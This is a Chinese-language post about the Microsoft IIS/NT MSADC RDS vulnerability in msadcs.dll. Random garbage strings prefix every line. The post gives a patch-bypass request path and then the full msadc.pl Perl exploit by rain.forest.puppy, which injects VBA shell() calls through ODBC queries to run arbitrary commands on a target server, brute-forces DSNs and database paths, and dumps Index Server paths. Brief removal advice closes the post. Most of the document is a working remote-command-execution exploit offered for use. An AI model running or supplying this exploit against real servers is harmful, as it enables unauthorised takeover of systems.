IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
QWU-m{@~& UZ";a453r 涉及程序:
y>LBl] Microsoft NT server
8,|k ao: bd`P0f? 描述:
d 'ifLQ\ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
T>>c2$ x r|Z{-*` 详细:
#z42C?V 如果你没有时间读详细内容的话,就删除:
"jCu6Rj d c:\Program Files\Common Files\System\Msadc\msadcs.dll
zeRyL3fnmb 有关的安全问题就没有了。
m+9#5a- ;a3}~s 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
|a@L}m 0 {mex4 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Zd&S@Z 关于利用ODBC远程漏洞的描述,请参看:
?cZlN! [Qr"cR^ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm !m$jk2< ,,TnIouy 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
qP;OaM
CX http://www.microsoft.com/security/bulletins/MS99-025faq.asp W3RT{\ ]'S^] 这里不再论述。
6B-16 t,'<gI 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
JtZ7ti 5-M-X#( /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
AwN!;t_0+N 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
!'Kjx LQ% `c \NC3'G:Ii #将下面这段保存为txt文件,然后: "perl -x 文件名"
nFn5v'g P;*(hY5& #!perl
:EyD+!LJ #
E"0>yl) # MSADC/RDS 'usage' (aka exploit) script
GthYzd:'hJ #
8>V5dEbx' # by rain.forest.puppy
Gh$^ { #
I:.s_8mH} # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
0YHFvy) # beta test and find errors!
Dh*n!7lD` g&.=2uP use Socket; use Getopt::Std;
I@3MO0V^ getopts("e:vd:h:XR", \%args);
&{i{XcqH' n`KY9[0U= print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
@pxcpXCy G&dKY h\ if (!defined $args{h} && !defined $args{R}) {
KSL`W2} print qq~
}\LQ3y"[ Usage: msadc.pl -h <host> { -d <delay> -X -v }
8i pez/ -h <host> = host you want to scan (ip or domain)
i9$ Av -d <seconds> = delay between calls, default 1 second
$8FUfJ1@ -X = dump Index Server path table, if available
snJ129}A -v = verbose
7o4\oRGV -e = external dictionary file for step 5
&wX]_:? cnLro Or a -R will resume a command session
3CJwj KTv$ ~; exit;}
;Xw~D_uv d'2A,B~_* $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
HTtnXBJ)*H if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
saAF+H/= if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
<uJ@:oWG7 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
qWw=8Bq $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
\DzGQ{`~m if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
yHGADH0B +n)9Tz5 if (!defined $args{R}){ $ret = &has_msadc;
(#'>(t(4 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
@@%ataUSBT ;PH~<T print "Please type the NT commandline you want to run (cmd /c assumed):\n"
#1[u(<AS . "cmd /c ";
rs.)CMk53 $in=<STDIN>; chomp $in;
=T_g}pu $command="cmd /c " . $in ;
BuwY3F\-O Xeajxcop# if (defined $args{R}) {&load; exit;}
4R*,VR.K #b`ke/P print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
u&NV,6Fj2[ &try_btcustmr;
n| ;Im&, Y0>y8UV print "\nStep 2: Trying to make our own DSN...";
1"g<0
W &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
g5yJfRLxp Lv%x81]K print "\nStep 3: Trying known DSNs...";
26nx`w?j( &known_dsn;
$C\BcKlmv :%.D78& print "\nStep 4: Trying known .mdbs...";
?8$Q-1= &known_mdb;
MJvp6n Vc2`b3"Br if (defined $args{e}){
Jb(H %NJ print "\nStep 5: Trying dictionary of DSN names...";
nwWJ7M,A &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
PM+[,H =}*0-\QG print "Sorry Charley...maybe next time?\n";
<qSC#[xu exit;
*or(1DXP8 ]oxZ77ciL ##############################################################################
"fI6Cpc '%D7C=;^ sub sendraw { # ripped and modded from whisker
,)XLq8 sleep($delay); # it's a DoS on the server! At least on mine...
_LPHPj^Pg my ($pstr)=@_;
w@b)g socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
"8RSvT<W^5 die("Socket problems\n");
! z**y}<T if(connect(S,pack "SnA4x8",2,80,$target)){
P'2Qen* select(S); $|=1;
E3i4=!Y print $pstr; my @in=<S>;
6-I'>\U~ select(STDOUT); close(S);
,'+kBZOv return @in;
+H.`MZ= } else { die("Can't connect...\n"); }}
FtZ?C@1/ ;]iRk ##############################################################################
-%~4W? M{\I8oOg sub make_header { # make the HTTP request
*Uh!>Iv; my $msadc=<<EOT
9FvFhY POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
g*Phv|kI User-Agent: ACTIVEDATA
'7/)Ot( Host: $ip
B6"0OIDY" Content-Length: $clen
hc1N~$3!G Connection: Keep-Alive
`gJ(0#ac g :OI ADCClientVersion:01.06
?`#Khff? Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
y*? Jui Q nEfK53i_ --!ADM!ROX!YOUR!WORLD!
GmG5[?) Content-Type: application/x-varg
AdmC&!nH Content-Length: $reqlen
y(&Ac[foS} 6mE\OS-I EOT
>Q/Dk7 # ; $msadc=~s/\n/\r\n/g;
iwq!w6+ return $msadc;}
F:VIzyMq< GeqPRah ##############################################################################
:Al!1BJQ ;j7#7MN2_E sub make_req { # make the RDS request
p 'k0#R$ my ($switch, $p1, $p2)=@_;
(mOtU8e my $req=""; my $t1, $t2, $query, $dsn;
dveiQ 5\v3;;A[ if ($switch==1){ # this is the btcustmr.mdb query
: +u]S2u{ $query="Select * from Customers where City=" . make_shell();
&L:!VL{I $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
@co
S+t $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
G)YcJv7 *_e3 @g elsif ($switch==2){ # this is general make table query
N;R^h? ' $query="create table AZZ (B int, C varchar(10))";
LLI.8kn7 $dsn="$p1";}
[RL9>n8f >sF)BoLc elsif ($switch==3){ # this is general exploit table query
cS$_\65 $query="select * from AZZ where C=" . make_shell();
0a7Ppntb@ $dsn="$p1";}
9!GM{ 5N]"~w* elsif ($switch==4){ # attempt to hork file info from index server
jylD6IT $query="select path from scope()";
UBs4K*h|
$dsn="Provider=MSIDXS;";}
QnDg6m)+ i@q&5;%% elsif ($switch==5){ # bad query
)_:NLo: $query="select";
K@2),(z $dsn="$p1";}
Fcx&hj1gQ }qUX=s
GG $t1= make_unicode($query);
$j~RWfw- $t2= make_unicode($dsn);
jo7\`#(Q $req = "\x02\x00\x03\x00";
t:S+%u U $req.= "\x08\x00" . pack ("S1", length($t1));
LP-o8c $req.= "\x00\x00" . $t1 ;
=AT."$r>
$req.= "\x08\x00" . pack ("S1", length($t2));
b$7 +;I; $req.= "\x00\x00" . $t2 ;
IgzQr > $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
zqku e%^?- return $req;}
7^285)UQA NHt\
U9l' ##############################################################################
rjP/l6
~' f^e)O$N9] sub make_shell { # this makes the shell() statement
l}h!B_P' return "'|shell(\"$command\")|'";}
N mG# K:M8h{Ua ##############################################################################
=D(j)<9$A m~|40) sub make_unicode { # quick little function to convert to unicode
0J|3kY-n> my ($in)=@_; my $out;
h1RSVp+?n for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
"4Nt\WQ return $out;}
+_!QSU,@ \wZe] G%S ##############################################################################
bD^owa 3q.q
YX sub rdo_success { # checks for RDO return success (this is kludge)
RCrCs my (@in) = @_; my $base=content_start(@in);
;a/E42eN; if($in[$base]=~/multipart\/mixed/){
:0/7, i return 1 if( $in[$base+10]=~/^\x09\x00/ );}
TC('H[
] return 0;}
#mT"gs `^vE9nW7 ##############################################################################
- LSWmrj LeQjvW9y sub make_dsn { # this makes a DSN for us
"Q<MS'a my @drives=("c","d","e","f");
VTM/hJmwJ print "\nMaking DSN: ";
FmW(CGs foreach $drive (@drives) {
W_=f'yb:E print "$drive: ";
SM'|+ d my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
bcyzhK= "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
1 zZlC#V . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
3$tdwe$S $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
|)&%A%m return 0 if $2 eq "404"; # not found/doesn't exist
GyIV
Hby if($2 eq "200") {
#cJ@uqR foreach $line (@results) {
(Z*!#}z` return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
.`lCWeHN } return 0;}
!i50QA|(G gi8FHSU|G ##############################################################################
wY#E?, R-:2HRaA sub verify_exists {
?[AD=rUC my ($page)=@_;
K'bP@y_cq my @results=sendraw("GET $page HTTP/1.0\n\n");
Z;i:]( return $results[0];}
Dv"9qk ;gkM{={`p ##############################################################################
ZNoDFf*h 45e~6", sub try_btcustmr {
sB</DS my @drives=("c","d","e","f");
s%S my @dirs=("winnt","winnt35","winnt351","win","windows");
Hz~zu{;{J CAJ'zA|o foreach $dir (@dirs) {
r$1Qf}J3= print "$dir -> "; # fun status so you can see progress
yevPHN"M foreach $drive (@drives) {
;jXgAAz7 print "$drive: "; # ditto
*hx $reqlen=length( make_req(1,$drive,$dir) ) - 28;
vdZW%-A&\ $reqlenlen=length( "$reqlen" );
d$RIS+V $clen= 206 + $reqlenlen + $reqlen;
eDMO]5}Ht ]lbuy7xj63 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
M{@(G5 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
1^}+=~ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
g(052]
f 2.HF@ ##############################################################################
q'DW~!>qX ^#$n~]s sub odbc_error {
Wri<h:1 my (@in)=@_; my $base;
bsX[UF my $base = content_start(@in);
53D]3 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
.]u/O`c] $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
d~H`CrQE* $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?}0 ,o. $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*g%yRU{N return $in[$base+4].$in[$base+5].$in[$base+6];}
%A`+WYeuX print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
t!XwW$@ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
vt8By@]: $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
n[z+<VGwC Wc#24:OKe3 ##############################################################################
+2{Lh7Ks 6t$8M[0-U sub verbose {
khe}*y my ($in)=@_;
Nc`L;CP return if !$verbose;
L_T5nD^D print STDOUT "\n$in\n";}
"[J^YKoF DI>s-7 ##############################################################################
e=
AKD# yAt^; sub save {
WJ#[LF!e my ($p1, $p2, $p3, $p4)=@_;
?
k /` open(OUT, ">rds.save") || print "Problem saving parameters...\n";
@5FQX print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
A&VG~r$ close OUT;}
Ytkv!]" k:;r2f ##############################################################################
az$FnVNn= ]DcFySyv sub load {
X8|, my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
C _Dn{ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
;+%rw 2Z,B @p=<IN>; close(IN);
$i&zex{\ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
uFE)17E $target= inet_aton($ip) || die("inet_aton problems");
CZ;6@{ o print "Resuming to $ip ...";
Y7|EIAU5Y $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
w{KavU5W if($p[1]==1) {
F%|h;+5 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
D~m*!w* $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
qm}@!z^ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
d0D]Q if (rdo_success(@results)){print "Success!\n";}
^!d3=}:0 else { print "failed\n"; verbose(odbc_error(@results));}}
vN:Ng elsif ($p[1]==3){
>6T8^Nt if(run_query("$p[3]")){
s<Ziegmw|g print "Success!\n";} else { print "failed\n"; }}
d=(mw_-? elsif ($p[1]==4){
LoV<:|GTI if(run_query($drvst . "$p[3]")){
occ7zcA print "Success!\n"; } else { print "failed\n"; }}
s!J9|]o exit;}
R_C) _f83-':W6 ##############################################################################
^('wy}; %EH)&k sub create_table {
XSR
4iu my ($in)=@_;
V0@=^Bls $reqlen=length( make_req(2,$in,"") ) - 28;
# d $reqlenlen=length( "$reqlen" );
Vr}'.\$ $clen= 206 + $reqlenlen + $reqlen;
l#o
~W` my @results=sendraw(make_header() . make_req(2,$in,""));
.A|udZ, return 1 if rdo_success(@results);
)5,v!X) my $temp= odbc_error(@results); verbose($temp);
7#XzrT] return 1 if $temp=~/Table 'AZZ' already exists/;
{c'lhUB return 0;}
IxU/?Zm 0B2t"(& ##############################################################################
:;}P*T*PU %J(:ADu] sub known_dsn {
`?]k{ l1R # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
9{l}bu/u my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
dPlV>IM$z "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
T)/eeZ$ "banner", "banners", "ads", "ADCDemo", "ADCTest");
FPz9N@M%Q FrS]|=LJhX foreach $dSn (@dsns) {
Ui~>SN>s print ".";
@"A4$`Xi3 next if (!is_access("DSN=$dSn"));
oR'm2d ^ if(create_table("DSN=$dSn")){
[,Gg^*umS print "$dSn successful\n";
(QEG4&9 if(run_query("DSN=$dSn")){
+7Gwg print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
QRUz`|U print "Something's borked. Use verbose next time\n";}}} print "\n";}
[0!( xp^ 01]f2.5 ##############################################################################
d{?LD?,) us-L]S+lm sub is_access {
j#|ZP-=1_ my ($in)=@_;
-@'FW*b $reqlen=length( make_req(5,$in,"") ) - 28;
q9"96({\@ $reqlenlen=length( "$reqlen" );
i1UsIT $clen= 206 + $reqlenlen + $reqlen;
e'~3oqSvR my @results=sendraw(make_header() . make_req(5,$in,""));
Q,g\ my $temp= odbc_error(@results);
7!1S)dup verbose($temp); return 1 if ($temp=~/Microsoft Access/);
3]Ct6 return 0;}
(PLUFT m
O_af ##############################################################################
cuX)8+ ch]IzdD sub run_query {
Q &8-\ my ($in)=@_;
}jXfb@`K $reqlen=length( make_req(3,$in,"") ) - 28;
O-wzz $reqlenlen=length( "$reqlen" );
x2xRBkRg= $clen= 206 + $reqlenlen + $reqlen;
sJZiI}Xc my @results=sendraw(make_header() . make_req(3,$in,""));
[agMfn return 1 if rdo_success(@results);
,tFg4k[ my $temp= odbc_error(@results); verbose($temp);
YK_7ip.a[ return 0;}
)~>YH*g U^PgG|0N ##############################################################################
dtDFoETz /ZX}Nc g sub known_mdb {
'1[Ft03 my @drives=("c","d","e","f","g");
cAw/I@jG my @dirs=("winnt","winnt35","winnt351","win","windows");
Yy8g(bU my $dir, $drive, $mdb;
4W75T2q# my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
2?C)& j 7B!h| # this is sparse, because I don't know of many
)%TmAaj9d my @sysmdbs=( "\\catroot\\icatalog.mdb",
F ,kZU$ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
8*X4\3:*N "\\system32\\certmdb.mdb",
&=[WIG+rk "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
}MySaL> w0.
u\ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
+ {]j]OP "\\cfusion\\cfapps\\forums\\forums_.mdb",
g)-te+?6 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
kh<2BOV "\\cfusion\\cfapps\\security\\realm_.mdb",
(3e2c "\\cfusion\\cfapps\\security\\data\\realm.mdb",
" bG2: "\\cfusion\\database\\cfexamples.mdb",
PT
~D",k "\\cfusion\\database\\cfsnippets.mdb",
G@0&8 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
sOY:e/_F "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
+@UV?"d "\\cfusion\\brighttiger\\database\\cleam.mdb",
_c07}aQ ], "\\cfusion\\database\\smpolicy.mdb",
(FV >m "\\cfusion\\database\cypress.mdb",
(7Qo "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
hH.G#-JO "\\website\\cgi-win\\dbsample.mdb",
~*7]r`6\@ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
4H/OBR "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
SbZ6t$" ); #these are just
[g,}gyeS( foreach $drive (@drives) {
\V:^h[ad foreach $dir (@dirs){
z?zL9 7H foreach $mdb (@sysmdbs) {
>_}
I.\X print ".";
}H2R3icE if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
qs6aB0ln print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
3|7QUld if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
%<5'=t'|-U print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
|Tw~@kT@ } else { print "Something's borked. Use verbose next time\n"; }}}}}
AA_%<zK 7)m9"InDI foreach $drive (@drives) {
b>k y foreach $mdb (@mdbs) {
M|-)GvR$J print ".";
N`i/mP if(create_table($drv . $drive . $dir . $mdb)){
`oJ [u:b print "\n" . $drive . $dir . $mdb . " successful\n";
G}*hM$F if(run_query($drv . $drive . $dir . $mdb)){
:k"]5>(^ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Dq xs+ } else { print "Something's borked. Use verbose next time\n"; }}}}
s2?&! }
GbyJ: YIE<pX4Q7) ##############################################################################
9uY'E'm* Tw%
3p= sub hork_idx {
13PS2 print "\nAttempting to dump Index Server tables...\n";
k9R9Nz|J print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
a.'*G6~Qgw $reqlen=length( make_req(4,"","") ) - 28;
^.tg 7%dJ $reqlenlen=length( "$reqlen" );
b6[j%(
$clen= 206 + $reqlenlen + $reqlen;
qR.Q,(b| my @results=sendraw2(make_header() . make_req(4,"",""));
N!3 2 wJ if (rdo_success(@results)){
^8tEach my $max=@results; my $c; my %d;
C~[,z.FvO for($c=19; $c<$max; $c++){
lr?;*f^3
$results[$c]=~s/\x00//g;
SuznN
L=/$ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Cw%{G'O $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
c,22*.V/ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
zi:BF60]= $d{"$1$2"}="";}
ax2B ]L2 foreach $c (keys %d){ print "$c\n"; }
]Dzlp7Y} } else {print "Index server doesn't seem to be installed.\n"; }}
=sFTxd_"iQ mmsPLv6 ##############################################################################
VL^EHb7 d _
e WcI sub dsn_dict {
Q\)F;: | open(IN, "<$args{e}") || die("Can't open external dictionary\n");
'yth'[ while(<IN>){
B *vM0 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
$(9U @N9E next if (!is_access("DSN=$dSn"));
\jA~9 if(create_table("DSN=$dSn")){
+"(jjxJm print "$dSn successful\n";
pp2~Meg if(run_query("DSN=$dSn")){
/(T?j!nPE print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
S'14hk< print "Something's borked. Use verbose next time\n";}}}
Qd6F H2Pl print "\n"; close(IN);}
*VeRVaBl 5;S.H#YOpO ##############################################################################
bcR_E5x$ % nIf)/2g sub sendraw2 { # ripped and modded from whisker
H"KCK6 sleep($delay); # it's a DoS on the server! At least on mine...
;=@0'xPEa- my ($pstr)=@_;
&zs$x?/ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
iLz@5Zj8 die("Socket problems\n");
23?rEhKe if(connect(S,pack "SnA4x8",2,80,$target)){
eQ"E print "Connected. Getting data";
h~26WLf. open(OUT,">raw.out"); my @in;
N7_"H>O$0U select(S); $|=1; print $pstr;
S$3JMFA while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
M;NX:mX9 close(OUT); select(STDOUT); close(S); return @in;
r/sNrB1U"y } else { die("Can't connect...\n"); }}
H-%v3d>3 m,S{p<-h ##############################################################################
ca}2TT&t OTp]Xe/ sub content_start { # this will take in the server headers
FqifriLN my (@in)=@_; my $c;
AEuG v}# for ($c=1;$c<500;$c++) {
8_tQa^.n\ if($in[$c] =~/^\x0d\x0a/){
4=.so~9odX if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
]d`VT)~vje else { return $c+1; }}}
bfO=;S]b! return -1;} # it should never get here actually
e%6QTg5# HqTjl4ai ##############################################################################
vj*%Q(E6Pt .KC++\{HE sub funky {
qVPeB,kIz my (@in)=@_; my $error=odbc_error(@in);
8D].MI^ if($error=~/ADO could not find the specified provider/){
bi:8(Q$w:` print "\nServer returned an ADO miscofiguration message\nAborting.\n";
iOdpM{~* exit;}
fQ98(+6 if($error=~/A Handler is required/){
+O5hH8<&b print "\nServer has custom handler filters (they most likely are patched)\n";
V+~Nalm O exit;}
+>9Q/E if($error=~/specified Handler has denied Access/){
ap~^Ty<> print "\nServer has custom handler filters (they most likely are patched)\n";
Ewm9\qmg exit;}}
v}(WaO#S s79r@])= ##############################################################################
y?0nI<}}HK <1%$Vq sub has_msadc {
&/b~k3{M_ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
MPk5^ua: my $base=content_start(@results);
rs.M]8a2{& return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
8V(pugJ return 0;}
PVOv[% \?N2=jsu$ ########################
- YV>j .mAjfP* }&e5$lB 解决方案:
"]iB6 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
B?qjkP 2、移除web 目录: /msadc